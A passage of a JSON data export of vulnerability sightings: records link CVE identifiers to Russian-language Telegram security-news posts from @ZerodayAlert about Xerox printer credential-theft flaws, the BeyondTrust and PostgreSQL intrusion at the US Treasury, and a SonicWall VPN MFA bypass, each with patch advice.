\u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u043e\u0439 \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438. \u0414\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0438\u043b\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443.\n\n\ud83d\udee1 Xerox \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Service Pack 57.75.53 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0414\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u0435\u0431-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n#Xerox #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:17.674168Z"}, {"uuid": "20a64a0b-a3c3-40a0-9b43-5d2d66a4e5e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/ZerodayAlert/428", "content": "\u0414\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0432\u0435\u043b\u0438 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u041c\u0438\u043d\u0444\u0438\u043d\u0430\n\n\ud83d\udea8 \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Silk Typhoon \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u041c\u0438\u043d\u0444\u0438\u043d \u0421\u0428\u0410, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u0432\u0435 zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2024-12356 \u0438 CVE-2024-12686) \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 BeyondTrust. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 PostgreSQL (CVE-2025-1094), \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0438\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c.\n\n\ud83c\udfaf \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u0446\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u041c\u0438\u043d\u0444\u0438\u043d\u0430: \u041a\u043e\u043c\u0438\u0442\u0435\u0442 \u043f\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c (CFIUS) \u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u0437\u0430 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u043c\u0438 (OFAC). \u0425\u0430\u043a\u0435\u0440\u044b \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0433\u043e\u0442\u043e\u0432\u044f\u0449\u0438\u0445\u0441\u044f \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u0445 \u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445.\n\n\u26a1\ufe0f \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u043e\u0442 BeyondTrust \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 \u0431\u0440\u0435\u0448\u0438 \u0432 PostgreSQL. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0440\u043e\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f BT24-10-ONPREM1 \u0438\u043b\u0438 BT24-10-ONPREM2 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a.\n\n#\u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #Postgres #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:17.748204Z"}, {"uuid": "d0cbc271-5020-411f-b728-73d4c9850c2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://t.me/ZerodayAlert/428", "content": "\u0414\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0432\u0435\u043b\u0438 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u041c\u0438\u043d\u0444\u0438\u043d\u0430\n\n\ud83d\udea8 \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Silk Typhoon \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u041c\u0438\u043d\u0444\u0438\u043d \u0421\u0428\u0410, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u0432\u0435 zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2024-12356 \u0438 CVE-2024-12686) \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 BeyondTrust. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 PostgreSQL (CVE-2025-1094), \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0438\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c.\n\n\ud83c\udfaf \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u0446\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u041c\u0438\u043d\u0444\u0438\u043d\u0430: \u041a\u043e\u043c\u0438\u0442\u0435\u0442 \u043f\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c (CFIUS) \u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u0437\u0430 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u043c\u0438 (OFAC). \u0425\u0430\u043a\u0435\u0440\u044b \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0433\u043e\u0442\u043e\u0432\u044f\u0449\u0438\u0445\u0441\u044f \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u0445 \u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445.\n\n\u26a1\ufe0f \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u043e\u0442 BeyondTrust \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 \u0431\u0440\u0435\u0448\u0438 \u0432 PostgreSQL. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0440\u043e\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f BT24-10-ONPREM1 \u0438\u043b\u0438 BT24-10-ONPREM2 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a.\n\n#\u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #Postgres #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:17.792359Z"}, {"uuid": "3fdbdbc3-336b-4784-80cc-f9c2e73f929f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "exploited", "source": "https://t.me/ZerodayAlert/707", "content": "\u0412 SonicWall SSL VPN \u043d\u0430\u0448\u043b\u0438 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u0445\u043e\u0434\u0430 MFA \u0431\u0435\u0437 \u0441\u043b\u0435\u0434\u043e\u0432 \u0432 \u043b\u043e\u0433\u0430\u0445\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-12802 (CVSS: 9.4) \u0432 SonicWall SSL VPN \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u043d\u043e\u0433\u043e\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u0443\u044e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u0432\u043e\u0434\u044f \u0437\u0430\u0449\u0438\u0442\u0443 \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u043f\u0430\u0440\u043e\u043b\u044e. \u041d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Gen6 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0451\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u2014 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0448\u0435\u0441\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0435\u0440\u0435\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 LDAP \u0432\u0440\u0443\u0447\u043d\u0443\u044e, \u0438\u043d\u0430\u0447\u0435 \u0441\u0442\u0430\u0440\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f.\n\n\u0410\u0442\u0430\u043a\u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u0430\u044f \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f: \u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u0445 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u043f\u0430\u0440\u043e\u043b\u044f, \u043e\u0434\u043d\u0430\u043a\u043e \u0432\u0445\u043e\u0434 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u043b\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0431\u0435\u0437 \u0435\u0433\u043e \u0432\u0432\u043e\u0434\u0430. \u0412 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0445\u0432\u0430\u0442\u0438\u043b\u043e \u0432\u0441\u0435\u0433\u043e 13 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u043f\u043e\u0434\u0431\u043e\u0440\u0430 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043e\u043d\u0438 \u043f\u0440\u043e\u043d\u0438\u043a\u043b\u0438 \u0432 \u0441\u0435\u0442\u044c \u0438 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 30 \u043c\u0438\u043d\u0443\u0442 \u0434\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c \u0434\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u043e RDP.\n\nReliaQuest \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0432\u0448\u0438\u0435\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u2014 \u043c\u0430\u044f\u043a Cobalt Strike \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440 \u2014 \u0441 \u0442\u0438\u043f\u0438\u0447\u043d\u043e\u0439 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u043e\u0439 \u043a \u0430\u0442\u0430\u043a\u0430\u043c \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Akira. \u0423\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Gen6 \u0432\u044b\u0448\u043b\u0438 \u0438\u0437 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 16 \u0430\u043f\u0440\u0435\u043b\u044f 2026 \u0433\u043e\u0434\u0430, \u043d\u043e \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u0445 \u043c\u0430\u043b\u043e\u0433\u043e \u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0433\u043e \u0431\u0438\u0437\u043d\u0435\u0441\u0430, \u0438 ReliaQuest \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u043f\u0440\u043e\u0442\u044f\u0436\u0435\u043d\u0438\u0438 \u0432\u0441\u0435\u0433\u043e \u0433\u043e\u0434\u0430.\n\n#sonicwall #vpn #zeroday #\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:37.746660Z"}, {"uuid": "5c59a229-1abd-4b29-a7b6-cf830fee1723", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044e\u0442 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043a\u0440\u0430\u0436\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439\n\n\ud83d\udda8 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445 Xerox VersaLink C7025, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u041e\u0431\u0435 \u0431\u0440\u0435\u0448\u0438 \u0434\u0430\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043d\u0430 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0447\u0435\u0440\u0435\u0437 LDAP, SMB \u0438\u043b\u0438 FTP.\n\n\u26a1\ufe0f \u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-12510) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0432\u0442\u043e\u0440\u0430\u044f (CVE-2024-12511) \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u043e\u0439 \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438. \u0414\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0438\u043b\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443.\n\n\ud83d\udee1 Xerox \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Service Pack 57.75.53 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0414\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u0435\u0431-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n#Xerox #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b\n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:41.955722Z"}, {"uuid": "dc2c4a56-2252-437a-9812-110a17b70dbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044e\u0442 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043a\u0440\u0430\u0436\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439\n\n\ud83d\udda8 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 